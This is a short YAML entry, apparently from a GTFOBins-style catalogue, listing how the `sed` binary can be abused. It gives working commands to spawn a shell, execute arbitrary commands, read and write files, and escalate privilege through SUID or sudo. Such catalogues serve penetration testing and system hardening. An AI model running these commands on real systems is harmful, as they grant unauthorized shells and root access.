--- functions: shell: - description: GNU version only. Also, this requires `bash`. code: sed -n '1e exec sh 1>&0' /etc/hosts - description: GNU version only. The resulting shell is not a proper TTY shell. code: sed e command: - description: GNU version only. code: sed -n '1e id' /etc/hosts file-write: - code: | LFILE=file_to_write sed -n "1s/.*/DATA/w $LFILE" /etc/hosts file-read: - code: | LFILE=file_to_read sed '' "$LFILE" suid: - code: | LFILE=file_to_read ./sed -e '' "$LFILE" sudo: - description: GNU version only. Also, this requires `bash`. code: sudo sed -n '1e exec sh 1>&0' /etc/hosts ---